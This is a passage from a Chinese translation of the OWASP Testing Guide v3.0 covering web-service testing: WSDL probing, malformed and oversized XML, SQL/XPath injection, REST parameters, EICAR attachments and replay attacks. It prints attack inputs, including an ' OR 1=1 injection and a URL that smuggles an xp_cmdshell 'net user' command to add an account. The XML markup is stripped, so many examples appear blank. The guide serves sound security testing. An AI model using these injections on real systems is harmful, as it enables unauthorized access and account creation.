通 过 Perl and SOAP::lite 单 元 我 们 可 以 创 建 自 动 化 脚 本 发 送 SOAP 请 求<br />

SOAP XML File<br />

为 了 从 命 令 行 援 用 Web 服 务 , 我 们 可 以 创 建 如 下 的 SOAP 请 求 文 件 , 然 后 用 CURL 提 交 给 服 务 器 。<br />

315


<br />

<br />

Italy<br />

Roma<br />

<br />

<br />

<br />

创 建 一 个 不 合 规 格 的 XML 文 件 。 我 们 可 以 用 一 个 如 下 的 典 型 攻 击 测 试 Web 服 务 :<br />

- 过 大 的 XML 标 签<br />

- 嵌 套 或 递 归 的 申 明<br />

- 参 数 攻 击<br />

- 验 证 测 试<br />

-XSS<br />

- SQL 注 入<br />

参 考 文 献<br />

• DISCO: http://msdn.microsoft.com/en-us/magazine/cc302073.aspx<br />

• UDDI OASIS Standard: http://www.oasis-open.org/specs/index.php#uddiv3.0.2<br />

• Understanding UDDI: http://www-128.ibm.com/developerworks/webservices/library/ws-featuddi/index.html<br />

工 具<br />

• WebServices Testing: http://www.aboutsecurity.net<br />

• Net Square wsPawn<br />

• OWASP WebScarab: Web Services plugin<br />

• Mac OSX Soap Client: http://www.ditchnet.org/soapclient<br />

• Foundstone WSDigger: http://www.foundstone.com/us/resources/proddesc/wsdigger.htm<br />

• Soaplite: http://www.soaplite.com<br />

316


OWASP 测 试 指 南 v3.0<br />

• Perl: http://www.perl.com<br />

• SOAPClient4XG: http://www-128.ibm.com/developerworks/xml/library/x-soapcl/<br />

• CURL: http://curl.haxx.se<br />

在 线 工 具<br />

• Web Services Directory: http://www.wsindex.org<br />

• Seekda: http://seekda.com/<br />

• UDDI Browser: http://www.soapcliet.com/<br />

• Xmethods: http://www.xmethods.net<br />

• WSIndex: http://www.wsindex.org<br />

4.10.2 WSDL 测 试 (OWASP-WS-002)<br />

简 介<br />

一 旦 识 别 出 WSDL, 我 们 可 以 测 试 接 入 点 。<br />

概 括<br />

为 了 找 到 接 入 点 和 试 图 援 引 一 个 非 标 准 SOAP 请 求 操 作 , 要 检 查 Web 服 务 的 WSDL。 确 保 WS 不 会 泄 露 机 密 信 息 。<br />

黑 盒 测 试 及 举 例<br />

因 为 Web 服 务 供 应 商 会 等 待 Web 服 务 消 费 者 的 SOAP 信 息 , 你 可 以 创 建 一 个 特 殊 的 信 息 来 调 用 隐 藏 的 操 作 。<br />

例 子 :<br />

一 个 很 好 的 例 子 是 WebGoat5.0 WSDL 扫 描 课 程 。 以 下 是 它 的 截 屏 :<br />

317


这 里 我 们 看 到 调 用 了 一 个 使 用 FirstName, LastName, 和 Login Count 作 为 参 数 的 Web 服 务 的 界 面 。 如 果 你 看 了 相 对 的<br />

WSDL, 你 会 发 现 :<br />

...<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

...<br />

我 们 发 现 4 个 操 作 而 不 是 3 个 。 使 用 WebScarabWeb 服 务 插 件 , 我 们 可 以 建 立 SOAP 请 求 去 获 取 给 定 ID 的 信 用 卡 。<br />

318


OWASP 测 试 指 南 v3.0<br />

由 这 个 请 求 引 起 的 SOAP 请 求 是 :<br />

POST http://localhost:80/WebGoat/services/SoapRequest HTTP/1.0<br />

Accept: application/soap+xml, application/dime, multipart/related, text/*<br />

Host: localhost:80<br />

Content-Type: text/xml; charset=utf-8<br />

SOAPAction: ""<br />

Content-length: 576<br />

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=<br />

<br />

<br />

<br />

<br />

101<br />

<br />

<br />

<br />

And the SOAP Response with the credit card number (987654321) is:<br />

HTTP/1.1 200 OK<br />

Server: Apache-Coyote/1.1<br />

Content-Type: text/xml;charset=utf-8<br />

Date: Wed, 28 Mar 2007 10:18:12 GMT<br />

Connection: close<br />

<br />

<br />

319


987654321<br />

987654321<br />

<br />

<br />

WSDigger<br />

WSDigger 是 一 种 免 费 的 自 动 化 Web 服 务 安 全 测 试 的 开 源 工 具 。<br />

用 这 个 工 具 可 以 测 试 我 们 的 服 务 , 通 过 简 单 的 界 面 同 它 们 互 动 , 动 态 输 入 一 些 查 询 和 调 用 Web 服 务 而 不 需 要 写 代<br />

码 。<br />

当 我 们 与 Web 服 务 器 互 动 时 , 恶 意 数 据 已 经 进 入 了 WSDigger, 且 Web 服 务 渠 道 必 须 通 过 点 击 调 用 键 (invoke<br />

button) 进 行 调 用 。<br />

预 期 结 果 :<br />

测 试 者 应 该 包 括 某 些 地 方 的 全 部 的 详 细 资 料 , 其 中 的 Web 服 务 应 用 程 序 允 许 访 问 一 个 非 普 通 SOAP 信 息 的 操 作 以 及<br />

提 供 访 问 机 密 数 据 。<br />

参 考 文 献<br />

白 皮 书<br />

• W3Schools schema introduction - http://www.w3schools.com/schema/schema_intro.asp<br />

320


OWASP 测 试 指 南 v3.0<br />

工 具<br />

• OWASP WebScarab: Web Services plugin<br />

• Foundstone WSDigger: http://www.foundstone.com/us/resources/proddesc/wsdigger.htm<br />

4.10.3 XML 结 构 测 试 (OWASP-WS-003)<br />

简 介<br />

XML 需 要 有 合 格 的 格 式 才 能 正 确 的 运 作 。 当 服 务 器 端 进 行 XML 语 句 分 析 时 , 不 合 规 格 的 XML 将 会 失 败 。 一 个 解 析<br />

器 需 要 在 整 个 XML 信 息 中 按 照 序 列 的 方 式 彻 底 运 行 , 这 样 才 能 评 估 XML 格 式 是 否 合 格 。<br />

一 个 XML 解 析 器 非 常 占 用 CPU 资 源 。 某 些 攻 击 向 量 发 送 非 常 大 或 者 不 合 规 格 的 XML 信 息 来 利 用 这 个 漏 洞 。<br />

为 了 在 接 收 服 务 器 上 通 过 占 用 全 部 内 存 和 CPU 资 源 来 创 建 一 个 阻 断 服 务 攻 击 攻 击 , 测 试 者 可 以 创 建 相 应 结 构 的 XML<br />

文 件 。 如 上 所 述 , 这 将 通 过 超 负 荷 XML 语 言 分 析 器 增 加 CPU 的 负 担 。<br />

概 括<br />

这 一 部 分 讨 论 了 发 送 给 Web 服 务 的 攻 击 向 量 内 型 , 用 于 尝 试 估 计 对 于 畸 形 或 者 故 意 信 息 的 反 应 。<br />

比 如 说 , 一 个 包 括 大 量 属 性 的 元 素 可 以 引 起 语 句 分 析 器 的 问 题 。 这 种 攻 击 同 样 包 括 了 格 式 不 好 的 XML 文 件 ( 比 如 重<br />

迭 元 素 , 或 者 没 有 对 应 的 关 闭 标 签 的 开 放 标 签 )。 由 于 内 存 中 装 载 了 完 整 的 信 息 , 基 于 DOM 的 解 析 可 能 成 为 DoS<br />

漏 洞 ( 正 好 跟 SAX 解 析 相 反 )。 比 如 说 , 在 DOM 结 构 中 太 大 的 附 件 可 能 引 起 问 题 。<br />

Web 服 务 器 漏 洞 : 在 确 认 信 息 结 构 和 内 容 之 前 , 你 必 须 利 用 SAX 或 者 DOM 对 XML 进 行 语 句 解 析 。<br />

黑 盒 测 试 及 举 例<br />

例 子 :<br />

畸 形 结 构 :XML 必 须 是 良 好 结 构 以 便 能 成 功 解 析 。 畸 形 的 SOAP 信 息 可 能 引 起 未 经 处 理 的 异 常 。<br />

<br />

<br />

OWASP<br />

EOIN<br />

I am Malformed <br />

<br />

Don’t forget me this weekend!<br />

321


例 2:<br />

回 到 下 面 的 WS 例 子<br />

http://www.example.com/ws/FindIP.asmx?WSDL<br />

我 们 获 得 了 一 下 的 WS 简 介 :<br />

[Method] GetURLIP<br />

[Input] string EnterURL<br />

[Output] string<br />

一 个 标 准 的 SOAP 请 求 是 :<br />

POST /ws/email/FindIP.asmx HTTP/1.0<br />

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 1.1.4322.2032)<br />

Content-Type: text/xml; charset=utf-8<br />

SOAPAction: "http://example.com/webservices/GetURLIP"<br />

Content-Length: 329<br />

Expect: 100-continue<br />

Connection: Keep-Alive<br />

Host: www.example.com<br />

<br />

<br />

<br />

<br />

www.owasp.org<br />

<br />

<br />

<br />

SOA 响 应 是 :<br />

HTTP/1.1 200 OK<br />

Server: Microsoft-IIS/5.0<br />

Date: Mon, 26 Mar 2007 11:29:25 GMT<br />

MicrosoftOfficeWebServer: 5.0_Pub<br />

X-Powered-By: ASP.NET<br />

X-AspNet-Version: 1.1.4322<br />

Cache-Control: private, max-age=0<br />

Content-Type: text/xml; charset=utf-8<br />

Content-Length: 396<br />

<br />

<br />

322


OWASP 测 试 指 南 v3.0<br />

<br />

<br />

www.owasp.com IP Address is: 216.48.3.18<br />

<br />

<br />

<br />

<br />

一 个 XML 结 构 测 试 的 例 子 如 下 :<br />

POST /ws/email/FindIP.asmx HTTP/1.0<br />

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 1.1.4322.2032)<br />

Content-Type: text/xml; charset=utf-8<br />

SOAPAction: "http://example.com/webservices/GetURLIP"<br />

Content-Length: 329<br />

Expect: 100-continue<br />

Connection: Keep-Alive<br />

Host: www.example.com<br />

<br />

<br />

<br />

<br />

www.example.com<br />

<br />

<br />

<br />

<br />

一 个 使 用 DOM-based 语 句 分 析 的 Web 服 务 器 可 以 被 包 括 了 大 量 内 容 的 XML 信 息 攻 击 : 强 迫 语 句 分 析 器 进 行 分 析 :<br />

意 外 地 很 大 的 PAYLOAD:<br />

<br />

<br />

<br />

I am a Large String (1MB)<br />

I am a Large String (1MB)<br />

I am a Large String (1MB)<br />

I am a Large String (1MB)<br />

I am a Large String (1MB)<br />

I am a Large String (1MB)<br />

I am a Large String (1MB)…<br />

…<br />

<br />

<br />

<br />

0098666891726<br />

<br />

323


二 进 制 附 件<br />

Web 服 务 器 也 可 以 有 一 个 二 进 制 附 件 , 比 如 Blob 或 者 exe。 由 于 DIME(Direct<br />

Direct Internet Message Encapsulation) 似<br />

乎 是 一 个 不 可 行 的 解 决 方 法 ,Web 服 务 器 的 附 件 都 是 用 base64 格 式 编 码 。<br />

通 过 给 信 息 附 加 一 个 非 常 大 的 base64 字 符 串 , 测 试 者 可 能 会 耗 尽 语 句 分 析 资 源 , 从 而 达 到 影 响 有 效 性 的 程 度 。 其<br />

它 攻 击 可 能 包 括 向 base64 二 进 制 流 注 入 被 感 染 的 二 进 制 文 件 。 这 种 附 件 的 不 适 当 的 语 句 分 析 可 能 会 耗 尽 资 源 :<br />

意 外 地 很 大 的 BLOB:<br />

<br />

<br />

<br />

jgiGldkooJSSKFM%()LFM$MFKF)$KRFWF$FRFkflfkfkkorepoLPKOMkjiujhy:llki-123-01ke123-<br />

04QWS03994k£R$Trfe£elfdk4r-45kgk3lg"£!04040lf;lfFCVr$V$BB^^N&*


OWASP 测 试 指 南 v3.0<br />

灰 盒 测 试 及 举 例<br />

需 要 检 查 可 以 访 问 的 Web 服 务 器 图 表 , 同 时 应 该 评 估 所 有 参 数 数 据 都 有 进 行 验 证 。 限 制 只 准 许 有 效 数 据 是 验 证 的<br />

最 佳 做 法 。<br />

列 举 : 定 义 一 个 可 接 受 值 列 表<br />

浮 点 数 : 指 定 允 许 的 最 大 位 小 数<br />

必 须 大 于 等 于 0<br />

长 度 : 指 定 确 切 字 符 的 数 目 或 者 允 许 的 列 表<br />

必 须 大 于 等 于 0<br />

maxExclusive: 指 定 数 字 值 的 上 界 。<br />

( 值 必 须 小 于 上 界 )<br />

maxInclusive: 指 定 数 字 值 的 上 界<br />

( 值 必 须 小 于 等 于 上 界 )<br />

maxLength: 指 定 字 符 的 最 大 数 目 或 者 允 许 的 列 表 。<br />

必 须 大 于 等 于 0<br />

minExclusive: 指 定 数 字 值 的 下 界<br />

( 值 必 须 大 于 下 界 )<br />

325


minInclusive: 指 定 数 字 值 的 下 界<br />

( 值 必 须 大 于 等 于 下 界 )<br />

minLength: 指 定 字 符 的 最 小 数 目 或 者 允 许 的 列 表 。<br />

必 须 大 于 等 于 0<br />

pattern: 定 义 确 切 的 可 被 接 受 的 字 符 序 列<br />

totalDigits: 指 定 精 确 的 允 许 的 数 字 数 量 。 必 须 大 于 0.<br />

whiteSpace: 指 定 空 白 区 域 ( 换 行 , 跳 格 , 回 车 ) 如 何 处 理 。<br />

参 考 文 献<br />

白 皮 书<br />

工 具<br />

• W3Schools schema introduction - http://www.w3schools.com/schema/schema_intro.asp<br />

• OWASP WebScarab: Web Services plugin<br />

4.10.4 XML 内 容 级 别 测 试 (OWASP-WS-004)<br />

简 介<br />

内 容 级 别 的 攻 击 对 象 是 Web 服 务 及 其 使 用 的 应 用 程 序 的 主 机 服 务 器 , 包 括 Web 服 务 器 、 数 据 库 、 应 用 程 序 服 务<br />

器 、 操 作 系 统 等 等 。 内 容 级 别 攻 击 向 量 包 括 1)SQL 注 入 或 者 XPath 注 入 2) 缓 存 溢 出 3) 命 令 注 入 。<br />

概 括<br />

Web 服 务 使 用 网 络 作 为 网 络 通 信 协 议 为 客 户 端 提 供 公 用 的 服 务 。 这 些 服 务 可 以 通 过 使 用 HTTP SOAP 来 他 们 的 功 能 。<br />

SOAP 信 息 包 含 调 用 参 数 的 方 法 , 包 括 文 本 数 据 和 二 进 制 附 件 , 要 求 主 机 执 行 一 些 功 能 —— 数 据 库 操 作 、 图 像 进<br />

程 、 文 件 管 理 等 等 。 当 之 前 对 私 人 网 络 的 限 制 不 再 存 在 时 , 暴 露 在 外 的 旧 有 应 用 程 序 可 以 被 恶 意 输 入 所 利 用 。 另<br />

外 , 由 于 Web 服 务 的 服 务 器 需 要 处 理 这 个 数 据 , 如 果 没 有 补 丁 或 者 没 有 对 恶 意 内 容 防 护 ( 例 如 空 白 文 本 密 码 , 无<br />

限 制 的 文 件 访 问 等 等 ), 主 机 服 务 器 有 可 能 存 在 可 攻 击 的 漏 洞 。<br />

为 了 危 害 目 标 系 统 , 攻 击 者 可 以 建 立 一 个 包 括 恶 意 元 素 的 XML 文 件 (SOAP 信 息 )。 在 web 应 用 程 序 测 试 计 划 中 应<br />

该 包 含 适 当 的 内 容 验 证 测 试 。<br />

326


OWASP 测 试 指 南 v3.0<br />

黑 盒 测 试 及 举 例<br />

SQL 注 入 或 XPath 注 入 漏 洞 测 试<br />

1. 审 查 Web 服 务 的 WSDL。WebScarab, 一 个 用 于 很 多 网 络 应 用 程 序 测 试 功 能 的 OWASP 工 具 , 有 一 个 实 现 Web 服<br />

务 功 能 的 WebService 插 件 。<br />

2. 在 WebScarab, 修 改 基 于 WSDL 定 义 的 参 数 数 据 。<br />

利 用 一 个 单 引 号 (’), 测 试 者 可 以 注 入 一 个 条 件 语 句 , 使 其 在 执 行 SQL 或 XPath 时 返 回 true, 1=1。 如 果 这 是 用 于 登<br />

录 并 且 这 个 值 是 未 验 证 的 , 那 幺 因 为 1=1 可 以 成 功 登 录 。<br />

操 作 要 用 到 的 值 :<br />

myuser ' OR 1=1<br />

在 SQL 中 该 值 为 :<br />

WHERE userid = 'myuser' and password = OR 1=1 and in XPath as: //user[userid='myuser' and<br />

password= OR 1=1]<br />

预 期 结 果 :<br />

如 果 可 以 , 测 试 者 可 以 继 续 使 用 更 高 优 先 级 的 Web 服 务 , 或 者 在 数 据 库 上 执 行 命 令 。<br />

缓 冲 溢 出 漏 洞 测 试 :<br />

在 有 漏 洞 的 Web 服 务 器 上 利 用 Web 服 务 执 行 任 意 代 码 是 可 能 的 。 向 一 个 有 漏 洞 的 应 用 程 序 发 送 一 个 特 别 建 立 的<br />

HTTP 请 求 , 会 引 起 溢 出 , 且 允 许 攻 击 者 执 行 代 码 。 使 用 一 个 像 MetaSploits 这 样 的 测 试 工 具 或 者 开 发 你 自 己 的 代<br />

码 , 就 有 可 能 建 立 一 个 可 重 复 使 用 的 暴 露 测 试 。MailEnable Authorization Header Buffer Overflow 是 Web 服 务 缓 冲 溢<br />

出 暴 露 的 例 子 之 一 , 并 且 收 纳 于 MetaSploits 中 的 "mailenable_auth_header."。 这 个 漏 洞 列 在 Open Source<br />

VulnerabilityDatabase 里 。<br />

预 期 结 果 :<br />

327


执 行 任 意 代 码 用 来 安 装 恶 意 代 码 。<br />

灰 盒 测 试 及 举 例<br />

1 无 效 内 容 ——SQL 构 成 ,HTML 标 签 等 等 —— 需 要 检 查 参 数 幺 ? 使 用 OWASP XSS 指 南<br />

(http://www.owasp.org/index.php/XSS) 或 者 特 定 的 语 言 执 行 , 例 如 PHP 的 htmlspecialchars, 且 永 远 不 要 信 任 用 户 输<br />

入 。<br />

2. 为 了 减 缓 缓 冲 溢 出 攻 击 , 检 查 Web 服 务 器 、 应 用 程 序 服 务 器 和 数 据 库 服 务 器 的 升 级 补 丁 和 安 全 ( 杀 毒 , 恶 意 软 件 等<br />

等 ).<br />

参 考 文 献<br />

白 皮 书<br />

• NIST Draft publications (SP800-95): "Guide to Secure Web Services" - http://csrc.nist.gov/publications/drafts/Draft-SP800-<br />

95.pdf<br />

• OSVDB - http://www.osvdb.org<br />

工 具<br />

• OWASP WebScarab: Web Services plugin - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project<br />

• MetaSploit - http://www.metasploit.com<br />

4.10.5 HTTPGET 参 数 /REST 测 试 (OWASP-WS-005)<br />

简 介<br />

许 多 XML 应 用 程 序 是 通 过 HTTP GET 查 询 传 输 参 数 来 使 用 的 。 有 时 候 他 们 都 被 认 是 “REST-style"Web 服 务 (REST =<br />

Representational State Transfer)。 在 HTTP GET 字 符 串 ( 例 如 , 特 别 长 的 参 数 (2048 字 符 ))、SQL 语 句 / 注 入 ( 或<br />

OS 注 入 参 数 ) 中 传 输 恶 意 内 容 时 , 这 些 Web 服 务 会 受 到 攻 击 。<br />

概 述<br />

假 设 Web 服 务 REST 实 际 上 在 攻 击 典 范 里 是 HTTP-In -> WS-OUT, 它 们 跟 常 规 的 HTTP 攻 击 向 量 相 似 。 这 在 整 个 指 南<br />

里 已 经 讨 论 到 。 比 如 说 , 在 下 面 这 个 带 有 查 询 串 的 HTTP 请 求 中 :<br />

"/viewDetail=detail-10293", the HTTP GET parameter is "detail- 10293".<br />

黑 盒 测 试 及 举 例<br />

假 设 我 们 已 经 有 一 个 可 以 接 受 以 下 HTTP GET 查 询 串 的 Web 服 务 :<br />

328


OWASP 测 试 指 南 v3.0<br />

https://www.ws.com/accountinfo?accountnumber=12039475&userId=asi9485jfuhe92<br />

响 应 结 果 将 会 类 似 于 :<br />

<br />

<br />

€100<br />

Bank of Bannana account info<br />

<br />

测 试 这 个 RESTWeb 服 务 的 数 据 有 效 性 跟 一 般 的 应 用 程 序 测 试 类 似 :<br />

尝 试 这 样 的 向 量 :<br />

https://www.ws.com/accountinfo?accountnumber=12039475' exec master..xp_cmdshell 'net user Vxr<br />

pass /Add &userId=asi9485jfuhe92<br />

灰 盒 测 试 及 举 例<br />

一 旦 收 到 HTTP 请 求 , 代 码 应 该 完 成 以 下 :<br />

检 查 :<br />

1. 长 度 上 限 和 下 限<br />

2. 合 法 有 效 负 载<br />

3. 如 果 可 能 , 把 数 据 分 配 为 这 个 顺 序 ;“ 确 切 匹 配 ”“ 已 知 合 规 格 ”“ 已 知 不 合 规 格 ”。<br />

4. 验 证 参 数 名 和 存 在 性<br />

参 考 文 献<br />

白 皮 书<br />

• The OWASP Fuzz vectors list - http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors<br />

4.10.6 调 皮 的 SOAP 附 件 (OWASP-WS-006)<br />

简 介<br />

这 一 部 分 描 述 了 接 受 附 件 的 Web 服 务 的 攻 击 向 量 。 危 险 存 在 于 在 附 加 到 服 务 器 和 分 配 到 用 户 的 时 候 。<br />

329


概 述<br />

二 进 制 文 件 包 括 可 能 包 含 恶 意 软 件 的 可 执 行 和 文 档 类 型 , 并 有 很 多 种 使 用 Web 服 务 传 递 的 方 法 。 这 些 文 件 可 以 作<br />

为 一 个 Web 服 务 渠 道 的 参 数 传 递 ; 也 可 能 作 为 使 用 SOAP 的 附 件 传 递 , 它 们 还 可 能 使 用 DIME(Direct Internet<br />

Message Encapsulation)) 和 WS 附 件 传 递 。<br />

攻 击 者 可 以 创 建 一 个 XML 文 档 (SOAP 信 息 ) 用 于 向 Web 服 务 发 送 包 含 恶 意 软 件 的 附 件 。 为 确 保 Web 服 务 主 机 检<br />

查 SOAP 附 件 , 测 试 应 该 包 含 在 网 络 应 用 程 序 测 试 计 划 中 。<br />

黑 盒 测 试 及 举 例<br />

对 作 为 参 数 漏 洞 的 文 件 进 行 的 测 试 :<br />

例 如 :<br />

330<br />

1. 找 到 接 受 附 件 的 WSDL :<br />

... <br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

...<br />

2. 在 SOAP 信 息 附 件 中 添 加 一 个 非 破 坏 性 的 病 毒 如 EICAR, 然 后 传 播 到 目 标 Web 服 务 。 在 这 个 例 子 中 , 使 用<br />

了 EICAR。<br />

使 用 了 EICAR 附 件 ( 作 为 Base64 数 据 ) 的 SOAP 信 息 :<br />

POST /Service/Service.asmx HTTP/1.1<br />

Host: somehost<br />

Content-Type: text/xml; charset=utf-8<br />

Content-Length: length<br />

SOAPAction: http://somehost/service/UploadFile<br />

<br />

<br />


OWASP 测 试 指 南 v3.0<br />

<br />

eicar.pdf<br />

pdf<br />

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*<br />

true<br />

<br />

<br />

<br />

预 期 结 果 :<br />

一 个 拥 有 UploadFileResult 参 数 的 SOAP 响 应 设 置 成 true( 根 据 每 个 服 务 不 同 设 置 不 同 )。EICAR 测 试 病 毒 文 件 允 许<br />

存 储 在 主 机 服 务 器 中 , 且 作 为 PDF 重 新 分 配 。<br />

对 有 着 附 件 漏 洞 的 SOAP 进 行 的 测 试 :<br />

这 个 测 试 是 类 似 的 , 请 求 应 该 如 下 ( 注 意 EICAR base64 信 息 ):<br />

POST /insuranceClaims HTTP/1.1<br />

Host: www.risky-stuff.com<br />

Content-Type: Multipart/Related; boundary=MIME_boundary; type=text/xml;<br />

start=""<br />

Content-Length: XXXX<br />

SOAPAction: http://schemas.risky-stuff.com/Auto-Claim<br />

Content-Description: This is the optional message description.<br />

--MIME_boundary<br />

Content-Type: text/xml; charset=UTF-8<br />

Content-Transfer-Encoding: 8bit<br />

Content-ID: <br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

--MIME_boundary<br />

Content-Type: image/tiff<br />

Content-Transfer-Encoding: base64<br />

Content-ID: <br />

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*<br />

--MIME_boundary<br />

Content-Type: image/jpeg<br />

Content-Transfer-Encoding: binary<br />

Content-ID: <br />

...Raw JPEG image..<br />

--MIME_boundary--<br />

331


预 期 结 果 :<br />

EICAR 测 试 病 毒 文 件 允 许 存 储 在 主 机 服 务 器 , 且 重 新 分 配 成 一 个 TIFF 文 件 。<br />

参 考 文 献<br />

白 皮 书<br />

• Xml.com - http://www.xml.com/pub/a/2003/02/26/binaryxml.html<br />

• W3C: "Soap with Attachments" - http://www.w3.org/TR/SOAP-attachments<br />

工 具<br />

• EICAR (http://www.eicar.org/anti_virus_test_file.htm)<br />

• OWASP WebScarab (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)<br />

4.10.7 重 现 测 试 (OWASP-WS-007)<br />

简 介<br />

这 部 分 描 述 了 测 试 Web 服 务 的 重 现 漏 洞 。 重 现 攻 击 的 威 胁 在 于 攻 击 者 可 以 假 装 成 一 个 合 法 用 户 的 身 份 , 然 后 不 被<br />

察 觉 的 情 况 下 进 行 一 些 恶 意 操 作 。<br />

概 括<br />

一 个 重 现 攻 击 是 一 个 “ 中 间 人 ” 攻 击 (MITM)。 攻 击 者 拦 截 并 重 现 信 息 以 便 冒 充 原 始 发 送 者 。Web 服 务 和 其 它<br />

HTTP 传 输 类 型 一 样 。 一 个 类 似 Ethereal 或 Wireshark 的 嗅 探 器 可 以 使 用 WebScarab 等 工 具 俘 获 发 布 到 Web 服 务 的<br />

传 输 。 测 试 者 可 以 向 目 标 服 务 器 重 新 发 送 一 个 包 。 攻 击 者 能 够 尝 试 重 新 发 送 原 始 信 息 , 或 者 改 变 信 息 以 便 危 害 主 机<br />

服 务 器 。<br />

黑 盒 测 试 及 举 例<br />

重 现 攻 击 漏 洞 的 测 试 :<br />

1. 在 网 络 文 件 传 输 的 网 络 、 嗅 探 传 输 和 过 滤 中 使 用 Wireshark。 另 一 个 可 选 的 是 安 装 WebScarab, 然 后 将 它 作 为 一 个<br />

代 理 来 抓 获 HTTP 传 输 。<br />

332


OWASP 测 试 指 南 v3.0<br />

2. 使 用 ETHEREAL 抓 获 到 的 packets, 通 过 重 发 packets 使 用 TCPReplay 进 行 重 现 攻 击 。 为 了 伪 装 重 现 攻 击 的 合 法 会 话<br />

ID, 需 要 在 一 段 时 间 内 获 取 很 多 数 据 包 , 以 便 确 定 会 话 ID 模 式 。 也 可 以 使 用 WebScarab 人 工 传 输 WebScarab 获 取<br />

的 HTTP 流 量 。<br />

预 期 结 果 :<br />

测 试 者 可 以 假 装 成 攻 击 者 的 身 份 。<br />

灰 盒 测 试 及 举 例<br />

重 现 攻 击 漏 洞 的 测 试<br />

333


1. Web 服 务 是 否 使 用 某 种 方 法 来 阻 止 重 现 攻 击 ? 比 如 假 的 随 机 对 话 令 牌 , 有 Nonces 的 MAC 地 址 或 者 时 间 戳 记 。 下<br />

面 是 尝 试 使 会 话 令 牌 随 机 化 的 案 例 : (from MSDN Wicked Code -<br />

http://msdn.microsoft.com/msdnmag/issues/04/08/WickedCode/default.aspx?loc=&fig=true#fig1).<br />

string id = GetSessionIDMac().Substring (0, 24);<br />

...<br />

private string GetSessionIDMac (string id, string ip,<br />

string agent, string key)<br />

{<br />

StringBuilder builder = new StringBuilder (id, 512);<br />

builder.Append (ip.Substring (0, ip.IndexOf ('.',<br />

ip.IndexOf ('.') + 1)));<br />

builder.Append (agent);<br />

using (HMACSHA1 hmac = new HMACSHA1<br />

(Encoding.UTF8.GetBytes (key))) {<br />

return Convert.ToBase64String (hmac.ComputeHash<br />

(Encoding.UTF8.GetBytes (builder.ToString ())));<br />

}<br />

}<br />

2. 该 网 站 是 否 使 用 了 SSL—— 这 将 阻 止 未 经 授 权 的 尝 试 重 现 信 息 ?<br />

参 考 文 献<br />

白 皮 书<br />

• W3C: "Web Services Architecture" - http://www.w3.org/TR/ws-arch/<br />

工 具<br />

• OWASP WebScarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project<br />

• Ethereal - http://www.ethereal.com/<br />

• Wireshark - http://www.wireshark.org/ (recommended instead of Ethereal - same developers, same codebase)<br />

• TCPReplay - http://tcpreplay.synfin.net/trac/wiki/manual<br />

4.11 AJAX 测 试<br />

Ajax, Asynchronous JavaScriptand XML 的 缩 写 , 是 用 来 建 立 更 加 适 应 Web 应 用 程 序 的 Web 开 发 技 术 。 它 使 用 技 术<br />

组 合 提 供 一 个 更 多 使 用 桌 面 应 用 程 序 的 经 验 。 通 过 使 用 XMLHttpRequest 对 象 和 JavaScript , 对 服 务 器 提 出 异 步 请<br />

求 、 解 析 响 应 、 然 后 更 新 页 面 的 DOM HTML 和 CSS 可 以 实 现 这 一 点 。<br />

使 用 Ajax 技 术 可 以 极 大 提 高 web 对 应 用 程 序 的 操 作 性 。 然 而 从 安 全 的 观 点 看 , AJAX 应 用 程 序 比 正 常 的 Web 应 用 程<br />

序 存 在 更 大 的 攻 击 面 , 并 且 开 发 他 们 的 重 点 在 于 能 够 做 些 什 幺 , 而 不 是 应 该 做 些 什 幺 。 另 外 , 由 于 程 序 是 在 客 户 端<br />

和 服 务 器 运 行 的 , 因 此 AJAX 应 用 程 序 更 复 杂 。 使 用 框 架 掩 盖 这 种 复 杂 性 可 以 帮 助 减 少 其 开 发 的 问 题 , 但 也 可 会 导<br />

致 开 发 者 不 能 充 分 了 解 代 码 执 行 的 具 体 位 置 。 这 可 能 导 致 很 难 正 确 地 评 估 与 特 定 应 用 程 序 或 功 能 相 关 的 风 险 。<br />

334


OWASP 测 试 指 南 v3.0<br />

AJAX 应 用 程 序 容 易 存 在 各 种 传 统 的 Web 应 用 程 序 漏 洞 。 不 安 全 代 码 的 做 法 可 能 会 导 致 SQL injection 漏 洞 、 在 用 户<br />

提 供 的 输 入 中 的 错 误 信 任 会 导 致 参 数 篡 改 漏 洞 、 同 时 请 求 适 当 的 身 份 验 证 和 授 权 的 失 败 可 能 会 导 致 机 密 性 和 完 整 性<br />

问 题 。 此 外 , AJAX 应 用 程 序 容 易 受 到 新 类 别 的 攻 击 , 如 跨 站 请 求 伪 造 ( XSRF )。<br />

测 试 AJAX 应 用 程 序 是 很 有 挑 战 性 的 , 因 为 开 发 者 在 如 何 沟 通 客 户 端 和 服 务 器 方 面 有 大 量 的 自 由 。 在 传 统 的 Web 应<br />

用 程 序 , 通 过 GET 或 者 POST 请 求 提 交 的 标 准 的 HTML 表 单 包 含 易 于 理 解 的 格 式 , 因 此 修 改 或 创 建 新 的 良 好 格 式 的<br />

请 求 很 容 易 。 AJAX 应 用 程 序 通 常 会 使 用 不 同 的 编 码 或 系 列 化 计 划 提 交 POST 数 据 , 这 就 导 致 测 试 工 具 很 难 建 立 可 靠<br />

的 自 动 测 试 要 求 。 使 用 Web 代 理 工 具 能 有 效 地 观 测 幕 后 异 步 传 输 并 最 终 修 改 这 一 传 输 , 以 便 能 适 当 测 试 基 于 AJAX<br />

的 应 用 程 序 。<br />

在 本 节 总 我 们 将 讨 论 以 下 问 题 :<br />

4.11.1 AJAX 漏 洞 (OWASP-AJ-001)<br />

4.11.2 如 何 测 试 AJAX (OWASP-AJ-002)<br />

4.11.1 AJAX 漏 洞 (OWASP-AJ-001)<br />

概 述<br />

